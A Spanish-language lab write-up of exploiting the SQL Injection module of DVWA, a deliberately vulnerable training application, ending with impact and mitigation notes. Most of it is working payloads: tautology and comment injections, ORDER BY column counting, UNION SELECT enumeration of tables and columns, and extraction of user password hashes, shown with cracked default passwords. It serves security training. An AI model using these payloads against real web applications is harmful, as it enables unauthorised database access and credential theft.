🧠 Información General
- Aplicación objetivo: DVWA (Damn Vulnerable Web Application)
- Módulo: SQL Injection
- Base de datos: MariaDB
- Nivel de seguridad: Bajo
🎯 Objetivo
Explotar una vulnerabilidad de SQL Injection para:
- Manipular consultas SQL
- Extraer información de la base de datos
- Obtener credenciales de usuarios
🔍 Fase 1 – Identificación de la Vulnerabilidad
🧪 Entrada probada
'
📥 Resultado
Se genera un error SQL en el servidor.
📌 Conclusión
La aplicación no valida correctamente la entrada del usuario, confirmando la existencia de una vulnerabilidad SQL Injection.
💣 Fase 2 – Inyección Básica
🔹 Payload
1' OR '1'='1
📥 Resultado
Se muestran múltiples usuarios.
🧠 Explicación
La condición lógica se evalúa como:
TRUE
✔ Se devuelven todos los registros de la tabla.
🔧 Fase 3 – Uso de Comentarios SQL

🔹 Payload válido
' OR '1'='1'--
⚠️ Nota
Es necesario un espacio después de -- para que funcione correctamente en MariaDB/MySQL.
🔢 Fase 4 – Identificación del Número de Columnas
🔹 Payloads utilizados
1' ORDER BY 1#
1' ORDER BY 2#
1' ORDER BY 3#
📥 Resultado
Error al ejecutar ORDER BY 3.
📌 Conclusión
La consulta contiene 2 columnas.
🔗 Fase 5 – Uso de UNION SELECT
🔹 Payload
1' UNION SELECT 1,2#
📥 Resultado
Los valores se reflejan en la aplicación.
📌 Conclusión
- Columna 1 → Nombre
- Columna 2 → Apellido
🗂️ Fase 6 – Enumeración de la Base de Datos
🔹 Nombre de la base de datos
1' UNION SELECT database(),2#
Resultado:
dvwa
🔹 Versión del sistema
1' UNION SELECT version(),2#
📋 Fase 7 – Enumeración de Tablas
🔹 Payload
1' UNION SELECT table_name,2 FROM information_schema.tables WHERE table_schema='dvwa'#
📥 Resultado
- users
- guestbook
🧩 Fase 8 – Enumeración de Columnas
🔹 Payload
1' UNION SELECT column_name,2 FROM information_schema.columns WHERE table_name='users'#
📥 Resultado
- user
- password
- user_id
- first_name
- last_name
🔐 Fase 9 – Extracción de Credenciales
🔹 Payload
1' UNION SELECT user,password FROM users#
📥 Resultado
Se obtienen usuarios junto a sus hashes MD5.
🔹 Mejora visual
1' UNION SELECT concat(user,':',password),2 FROM users#

🔓 Fase 10 – Análisis de Hashes
| Usuario | Hash | Contraseña |
|---|---|---|
| admin | 5f4dcc3b5aa765d61d8327deb882cf99 | password |
| gordonb | e99a18c428cb38d5f260853678922e03 | abc123 |
| pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 | letmein |
⚠️ Fase 11 – Impacto
Un atacante puede:
- Acceder a todos los usuarios
- Obtener contraseñas
- Escalar privilegios
- Comprometer completamente la aplicación
🛡️ Fase 12 – Mitigaciones
- Uso de consultas preparadas (prepared statements)
- Validación y sanitización de entradas
- Uso de ORM seguro
- No mostrar errores SQL al usuario
- Uso de algoritmos de hash seguros (bcrypt, Argon2)
🧾 Conclusión
La aplicación es vulnerable a SQL Injection debido a:
- Falta de validación de entrada
- Construcción insegura de consultas SQL
Se ha logrado una explotación completa, incluyendo la extracción de datos sensibles.
🚀 Nivel Técnico Alcanzado
- ✔ SQL Injection básica
- ✔ UNION-based SQLi
- ✔ Enumeración de base de datos
- ✔ Extracción de credenciales
